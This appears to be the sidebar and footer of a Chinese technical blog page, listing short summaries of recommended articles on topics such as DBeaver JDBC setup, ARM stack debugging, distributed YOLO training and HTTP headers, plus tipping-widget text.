本文提供了在DBeaver中手动配置Apache IoTDB JDBC驱动的完整流程与避坑指南。详细解析了从驱动创建、库文件添加(关键是指向整个lib目录)到连接测试的每一步,并重点针对常见的ClassNotFoundException、连接拒绝等错误提供了深度排查方案,帮助用户高效建立图形化管理连接。

weixin_28327051的博客 397

ARM开发中堆栈指针(SP)的5个常见坑点及调试技巧(附实例)

本文详细解析了ARM开发中堆栈指针(SP)的5个常见坑点及调试技巧,包括堆栈溢出、堆栈未对齐、多任务环境下的堆栈冲突等。通过实例代码和调试工具(如Keil MDK、GDB)的使用指南,帮助开发者有效排查和解决SP相关问题,提升嵌入式系统的稳定性与性能。

weixin_29190169的博客 231

环境配置与基础教程:多机多卡分布式训练实战:基于 SLURM 集群调度 YOLOv11,大幅缩短训练周期

摘要: 本文详细介绍了YOLOv11分布式训练在SLURM集群中的完整实现方案。针对单卡训练效率低、环境配置复杂等问题,提出基于多机多卡的分布式优化路径,涵盖硬件选型、RDMA网络配置、PyTorch环境搭建及容器化部署方案。重点解析了YOLOv11的架构演进与核心模块(如C3k2动态卷积),并对比了与YOLOv8的性能差异。通过SLURM调度系统与NFS共享存储,实现训练任务的高效资源分配和数据同步。文中所有配置均基于Ultralytics最新版本验证,为大规模目标检测任务提供了一套可复现的工程实践框架。

ZXSXJ的博客 58

10.2 全栈 CRUD 工程结构搭建:Cursor 4 步初始化 + 3 层目录规范

揭示 Cursor 工程初始化中 4 个关键动作如何将 AI 上下文感知能力从 30% 提升至 85%,包括用 pnpm create 显式声明结构契约、通过 monorepo.config.json 设定 workspace 根以支持跨包类型引用、在 shared 包中固化共享类型与协议,以及后续

weixin_42545292的博客 69

进程内存和内存损坏

本教程的这一部分的先决条件是对ARM汇编的基本了解(在第一个教程系列“ARM汇编基础”中有介绍)。在本章中,您将了解32位Linux环境中进程的内存布局。之后,您将学习堆栈和堆相关的内存损坏的基本原理,以及它们在调试器中的样子。 缓冲区溢出 堆栈溢出 堆溢出 摇摇欲坠的指针 格式字符串 本教程中使用的示例是在ARMv6 32位处理器...

335

深入理解 HTTP 协议中的 Content-Type

是 HTTP 协议中的一个头部字段(Header),用于指示请求或响应中实体主体(body)的媒体类型(Media Type),也称为MIME 类型(Multipurpose Internet Mail Extensions)。

h a 6 6 6 c k 为 你解决复杂难题! 1002

反汇编与栈回溯

利用反汇编手段解析C语言函数 https://blog.youkuaiyun.com/songjinshi/article/details/8450419?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-...

happylzs2008的专栏 916

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

从崩溃日志反推问题:手把手教你分析SIGSEGV(11)的ARM64堆栈信息

本文深入解析ARM64架构下的SIGSEGV崩溃日志,提供从寄存器状态到内存映射的完整诊断流程。通过实战案例,详细讲解如何分析SIGSEGV信号(signal 11)和SEGV_ACCERR错误代码,帮助开发者快速定位内存访问违例、栈溢出等常见问题,并分享高级调试技巧和预防体系构建方法。

e4f5g6h7的博客 794

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

汇编标志寄存器

CF是进位标志, PF是奇偶标志 AF是辅助进位标志 ZF是零标志 SF是符号标志 OF是溢出标志. -----------------------------------------------------------------------------------------------------------------------------------------------

liupengfei004的博客 536
上一篇: (org.json.JSONObject类)java使用JSONObject读取json文件,出现中文乱码
下一篇: 大端模式和小端模式
Dr. 熊
博客等级 码龄10年 29粉丝 140原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值